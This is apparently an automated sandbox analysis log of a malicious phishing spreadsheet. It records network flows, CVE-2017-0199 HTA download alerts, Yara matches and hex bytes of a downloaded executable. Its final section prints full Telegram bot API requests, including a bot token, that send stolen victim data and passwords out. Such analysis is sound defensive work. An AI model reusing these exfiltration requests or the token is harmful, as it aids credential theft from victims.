Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.3.176.138:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.3.176.138:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49162 -> 192.3.176.138:80
Source: Network traffic	Suricata IDS: 2024449 - Severity 1 - ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl : 192.168.2.22:49164 -> 192.3.176.138:80
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.138:80 -> 192.168.2.22:49162
Source: Network traffic	Suricata IDS: 2024197 - Severity 1 - ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) : 192.3.176.138:80 -> 192.168.2.22:49164

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE

Yara detected MalDoc

Source: Yara match

File source: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx, type: SAMPLE

Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 208.91.199.225:587
Source: global traffic	TCP traffic: 192.168.2.22:49205 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49207 -> 208.91.199.224:587
Source: global traffic	TCP traffic: 192.168.2.22:49211 -> 208.91.199.223:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 13 Aug 2024 18:24:37 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Tue, 13 Aug 2024 12:53:46 GMTETag: "c0000-61f9019a8bcbf"Accept-Ranges: bytesContent-Length: 786432Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 fc 56 bb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 ec 0a 00 00 12 01 00 00 00 00 00 fe 0a 0b 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0c 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a8 0a 0b 00 53 00 00 00 00 20 0b 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 eb 0a 00 00 20 00 00 00 ec 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 10 01 00 00 20 0b 00 00 10 01 00 00 ee 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0c 00 00 02 00 00 00 fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0a 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 b4 dd 0a 00 f4 2c 00 00 03 00 00 00 18 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 30 03 00 41 00 00 00 00 00 00 00 20 50 01 00 00 8d 01 00 00 01 25 d0 17 00 00 04 28 01 00 00 0a 80 18 00 00 04 20 42 01 00 00 8d 05 00 00 01 25 d0 31 00 00 04 28 01 00 00 0a 80 32 00 00 04 28 08 00 00 06 2a d0 01 00 00 06 26 2a 00 00 00 1a 7e 01 00 00 04 2a 00 1e 02 80 01 00 00 04 2a 1a 7e 02 00 00 04 2a 00 1e 02 80 02 00 00 04 2a 22 02 28 05 00 00 0a 00 2a 00 00 00 13 30 03 00 7b 00 00 00 01 00 00 11 1e 8d 05 00 00 01 25 d0 07 00 00 04 28 01 00 00 0a 80 05 00 00 04 1e 8d 05 00 00 01 0a 06 19 20 1c 0f 00 00 9d 06 1d 20 63 2c 00 00 9d 06 18 20 03 3a 00 00 9d 06 16 20 de 36 00 00 9d 06 1a 20 35 09 00 00 9d 06 17 20 d5 36 00 00 9d 06 1c 20 fe 20 00 00 9d 06 1b 20 1c 0e 00 00 9d 17 8d 0b 00 00 01 80 06 00 00 04 06 80 04 00 00 04 28 08 00 00 06 2a d0 07 00 00 06 26 2a 00 1b 30 03 00 0c 01 00 00 02 00 00 11 7e 32 00 00 04 13 06 7e 18 00 00 04 0d 16 0c 08 45 05 00 00 00 00 00 00 00 14 00

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/14/2024%20/%207:15:53%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/15/2024%20/%207:26:06%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbd929eb213d3Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbd9b00a4d486Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbdfb6c102920Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbdac5db5126dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe0c6bb89c78Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbe27325b2ebcHost: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbdc0151008beHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
